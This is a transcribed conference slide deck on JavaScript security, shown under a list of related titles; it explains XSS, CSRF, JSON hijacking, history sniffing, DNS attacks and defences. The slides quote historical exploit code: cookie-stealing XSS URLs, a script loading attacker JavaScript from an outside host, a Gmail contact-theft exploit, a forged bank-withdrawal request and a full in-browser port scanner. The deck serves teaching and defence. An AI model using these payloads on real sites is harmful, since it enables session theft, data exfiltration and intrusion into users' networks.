JavaScript Security. John Graham Cumming



Similar documents
Network Security Web Security

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

A Tale of the Weaknesses of Current Client-Side XSS Filtering

XSS Lightsabre techniques. using Hackvertor

Attacks on Clients: Dynamic Content & XSS

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Web-Application Security

Finding XSS in Real World

Next Generation Clickjacking

Cross Site Scripting Prevention

Security Model for the Client-Side Web Application Environments

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Project 2: Web Security Pitfalls

Analysis of Browser Defenses against XSS Attack Vectors

Javascript Security, XSS, and Uncovered Topics. Pat Morin COMP 2405

A Tale of the Weaknesses of Current Client-side XSS Filtering

Blackbox Reversing of XSS Filters

Web application security

HTML5. Eoin Keary CTO BCC Risk Advisory.

Preparing for the Cross Site Request Forgery Defense

Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011

Web App Security Keeping your application safe Joe Walker

Web Application Security Considerations

Security starts in the head(er)

Check list for web developers

JAVASCRIPT AND COOKIES

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense

Web Application Security

Security Testing with Selenium

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Protection, Usability and Improvements in Reflected XSS Filters

The Dark Side of Ajax. Jacob West Fortify Software

Cross-Site Scripting

XSS-GUARD : Precise Dynamic Prevention of Cross Site Scripting (XSS) Attacks

Sichere Webanwendungen mit Java

Pwning Intranets with HTML5

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Hacking Intranet Websites from the Outside (Take 2) Fun With & Without JavaScript Malware

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Recommended Practice Case Study: Cross-Site Scripting. February 2007

Intrusion detection for web applications

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Hack Proof Your Webapps

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

Sitefinity Security and Best Practices

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Abusing HTML5. DEF CON 19 Ming Chow Lecturer, Department of Computer Science TuCs University Medford, MA

Exploits: XSS, SQLI, Buffer Overflow

Magento Security and Vulnerabilities. Roman Stepanov

WEB APPLICATION SECURITY USING JSFLOW

Web Application Security

Webapps Vulnerability Report

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

PST_WEBZINE_0X04. How to solve XSS and mix user's HTML/JavaScript code with your content with just one script

Universal XSS via IE8s XSS Filters

Defending against XSS,CSRF, and Clickjacking David Bishop

MASTERTAG DEVELOPER GUIDE

Advanced XSS. Nicolas Golubovic

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Relax Everybody: HTML5 Is Securer Than You Think

Web Application Guidelines

Example. Represent this as XML

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

Uploaded images filter evasion for carrying out XSS attacks

Gateway Apps - Security Summary SECURITY SUMMARY

COMP 112 Assignment 1: HTTP Servers

The Top Web Application Attacks: Are you vulnerable?

Web Application Exploits

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Recent Advances in Web Application Security

Cross Site Scripting (XSS) Exploits & Defenses. OWASP Denver, Colorado USA. The OWASP Foundation. David Campbell Eric Duprey.

UI Redressing and Clickjacking. About click fraud and data theft

Phishing by data URI

IMRG Peermap API Documentation V 5.0

Understanding Cross Site Scripting

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

ART 379 Web Design. HTML, XHTML & CSS: Introduction, 1-2

ZNetLive Malware Monitoring

XSS PROTECTION CHEATSHEET FOR DEVELOPERS V1.0. Author of OWASP Xenotix XSS Exploit Framework opensecurity.in

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Testing the OWASP Top 10 Security Issues

Where every interaction matters.

Towards More Security in Data Exchange

Web Application Worms & Browser Insecurity

JOOMLA SECURITY. ireland website design. by Oliver Hummel. ADDRESS Unit 12D, Six Cross Roads Business Park, Waterford City

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Ruby on Rails Secure Coding Recommendations

Slide.Show Quick Start Guide

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

NoSQL, But Even Less Security Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team

Created by Johannes Hoppe. Security

Transcription:

JavaScript Security John Graham Cumming

Living in a powder keg and giving off sparks JavaScript security is a mess The security model is outdated Key examples AGacking DNS to agack JavaScript What are we going to do? Page 2

The JavaScript Sandbox JavaScript security dates to 1995 Two key concerns: Stop a malicious web site from agacking your computer Stop a malicious web site from interacong with another web site Page 3

The Death of the PC If all your documents are in the cloud, what good is protecong your PC? The JavaScript sandbox does nothing to prevent cloud agacks Who cares if a web site is prevented from reading your My Documents : it s empty Page 4

The Same Origin Policy Scripts running on one page can t interact with other pages For example, scripts loaded by jgc.org can t access virusbtn.com But the Same Origin Policy doesn t apply to the scripts themselves Page 5

<SCRIPT> Inline <SCRIPT> do stuff </SCRIPT> Remote <SCRIPT SRC= http://jgc.org/ foo.js > </SCRIPT> Page 6

MulOple <SCRIPT> elements Scripts get equal access to each other and the page they are loaded from <SCRIPT SRC= http://googleanalytics/ga.js ></SCRIPT> <SCRIPT SRC= http:// co2stats.com/main.js ></ SCRIPT> Page 7

JavaScript Global Object JavaScript is inherently a global language Variables have global scope FuncOons have global scope Objects inherit from a global object Page 8

Bad stuff you can do globally Different scripts can mess with each other s variables Different scripts can redefine each other s funcoons Scripts can override naove methods Transmit data anywhere Watch keystrokes Steal cookies All scripts run with equal authority Page 9

JavaScript is everywhere <SCRIPT> tags Inside HTML elements <a id=up_810112 onclick="return vote(this)" href="vote? for=810112&dir=up&by=jgrahamc&auth=3q4&w hence=%6e%65%77%73"> Inside CSS background color: expression( (new Date()).getHours()%2? "#B8D4FF" : "#F08A00" ); background image: url("javascript: testelement.style.color = '#00cc00';"); Page 10

No mechanism for protecong JavaScript Signed JavaScript mechanism available in Netscape Communicator 4.x Remember that? Page 11

JavaScript Summary The security model is for the wrong threat The language itself has no security awareness Oh, and it s the most important language for all web sites Page 12

Key agacks Cross site scripong Cross site Request Forgery JSON Hijacking JavaScript + CSS Sandbox Holes DNS AGacks Page 13

Cross site ScripOng (XSS) End user injects script via web form or URL which is then executed by other users Persistent: stored in database Reflected: usually in a URL Injected scripts have the same access as all other scripts Page 14

XSS Example: TwiGer Page 15

XSS Example: MySpace JS/SpaceHero or Samy Worm AutomaOc friend requests <div style="background:url('javas cript:alert(1)')"> Page 16

XSS Example: PHPnuke Reflected agack Requires social engineering http://www.phpnuke.org/ user.php? op=userinfo&uname=<script>al ert(document.cookie);</ script> Page 17

Script EscalaOon Scripts can load other scripts Get a foothold and you can do anything <script id="external_script" type="text/javascript"></ script><script> document.getelementbyid('ext ernal_script').src = http://othersite.com/ x.js </script> Page 18

Cross Site Request Forgery Hijack cookies to use a session for bad purposes <img src="http:// bank.example/withdraw? account=bob&amount=1000000&f or=mallory"> Enhance with JavaScript for complex transacoons. Page 19

CSRF Example: Google Mail Steal authenocated user s contact http://docs.google.com/data/ contacts? out=js&show=all&psort=affini ty&callback=google&max=99999 google ({ Success: true, Errors: [], Body: { Page 20

CSRF Example: Google Mail Full exploit <script type="text/javascript">function google(data){ var emails, i; for (i = 0; i <data.body.contacts.length; i+ +) { mails += "<li>" + data.body.contacts[i].email + ""; } document.write("<ol>" + emails + "</ ol>");}</script> <script type="text/javascript" src="http://docs.google.com/data/ contacts? out=js&show=all&psort=affinity&callback= google&max=99999"></script> Page 21

JSON Hijacking CSRF agack against JSON objects Works by redefined the Object constructor in JavaScript <script> function Object() { this.email setter = captureobject; } function captureobject(x) { Page 22

JSON Hijacking Example: TwiGer Could steal the friends Omeline for a user <script>object.prototype. de finesetter ('user',function( obj){for(var i in obj) {alert(i + '=' + obj[i]);} });</script> <script defer="defer" src=https://twitter.com/ statuses/friends_timeline/></ script> Page 23

Stealing history with JavaScript and CSS Use JavaScript to look at the visited color of links function stealhistory() { for (var i = 0; i < websites.length; i++) { var link = document.createelement("a"); link.id = "id" + i; link.href = websites[i]; link.innerhtml = websites[i]; document.body.appendchild(link); var color = document.defaultview.getcomputedstyle(link,n ull).getpropertyvalue("color"); document.body.removechild(link); if (color == "rgb(0, 0, 255)") { document.write('' + websites[i] + ''); }}} Page 24

Sandbox Holes Sandbox not immune to actual security holes Most recent was Google V8 JavaScript engine Google Chrome V8 JavaScript Engine Remote Code ExecuEon Vulnerability Bugtraq: 36149 Page 25

No Turing Test in JavaScript No way to disonguish between actual click by user and JavaScript click Can t tell whether a user inioated an acoon or not Page 26

AGacking your home firewall XSS agack on BT Home Hub to use UPnP to open a port hgp://192.168.1.254/cgi/b/ic/connect/? url=%22%3e%3cscript%20src='hgp:// www.gnuciozen.org/blog/bt home flubpwnin the bt home hub 5/ payload.xss'%3e%3c/script%3e%3ca %20b= Page 27

Port scanning in JavaScript Port scan using images var AttackAPI = { version: '0.1', author: 'Petko Petkov (architect)', homepage: 'http:// www.gnucitizen.org'};attackapi.portscanner = {};AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { var timeout = (timeout == null)?100:timeout; var img = new Image(); img.onerror = function () { if (!img) return; img = undefined; callback(target, port, 'open'); }; img.onload = img.onerror; img.src = 'http://' + target + ':' + port; settimeout(function () { if (!img) return; img = undefined; callback(target, port, 'closed'); }, timeout);};attackapi.portscanner.scantarget = function (callback, target, ports, timeout){ for (index = 0; index < ports.length; index+ +) AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);}; Page 28

DNS AGacks AGacks on DNS are real (Kaminsky et al.) If you can alter the DNS of one remote JavaScript you can take over the page For example, google analyocs.com is on 47% of the top 1,000 web sites. 69% of the top 1,000 load a web analyocs soluoon remotely 97% load something remotely Page 29

AGacking TechCrunch Page 30

TechCrunch and JavaScript 18 remotely loaded JavaScripts mediaplex.com, scorecardresearch.com, quantserve.com, ixnp.com, doubleclick.net, googlesyndicaoon.com, crunchboard.com, snap.com, tweetmeme.com, googleanalyocs.com AddiOonal embedded <SCRIPT> tags Compromise one, you compromise the enore page Page 31

Load scripts via HTTPS to security? Tested all major browsers loading a remote script Scripts was from a site with an expired ceroficate for a different domain name Page 32

HTTPS won t save you Page 33

What are we going to do? SaniOze user input (doh!) Don t just rely on cookies for authenocaoon Enforce safe subset of JavaScript CAJA and Adsafe Tell people to run NoScript Deprecate JavaScript Page 34

SaniOze User Input; Escape Output It s not hard! Yes, it is TwiGer recently blew it on the applicaoon name XSS hole UTF 7 encoding +ADw-script+AD4- alert(document.location)+adw-/ script+ad4- All versions of RoR vulnerable to Unicode decoding flaw Hard to get right with so many languages in the mix Page 35

Don t just use cookies Don t use GET for sensiove requests Use more than cookies in POST e.g. add a secret generated for that session to prevent simple CSRF agacks e.g. RoR has protect_from_forgery :secret => "1234567890123456789012345678 90..." Page 36

Safe JavaScript subsets Run all third party code through Adsafe Restricts dangerous JavaScript methods and access to globals Or test code with Google CAJA Design to allow widgets to interact safely on pages like igoogle Page 37

Causata s small contribuoon jshub: web site tagging done right Open Source Secure One Tag to Serve Them All hgp://jshub.org/ Page 38

NoScript Mozilla Firefox plug in that allows fine grained control of which scripts can run on which pages An applicaoon firewall for JavaScript Advanced users only! Page 39

Deprecate JavaScript It s not too late. Let s start again with a language built for security and for the web Ripley: I say we take off and nuke the enore site from orbit. It's the only way to be sure. Burke: Ho ho hold on, hold on one second. This installaoon has a substanoal dollar value agached to it. Ripley: They can bill me. Page 40

Conclusion The combinaoon of a move to the cloud and a 14 year old security environment scares me This problem has to be addressed Very hard for end users to miogate the risks Page 41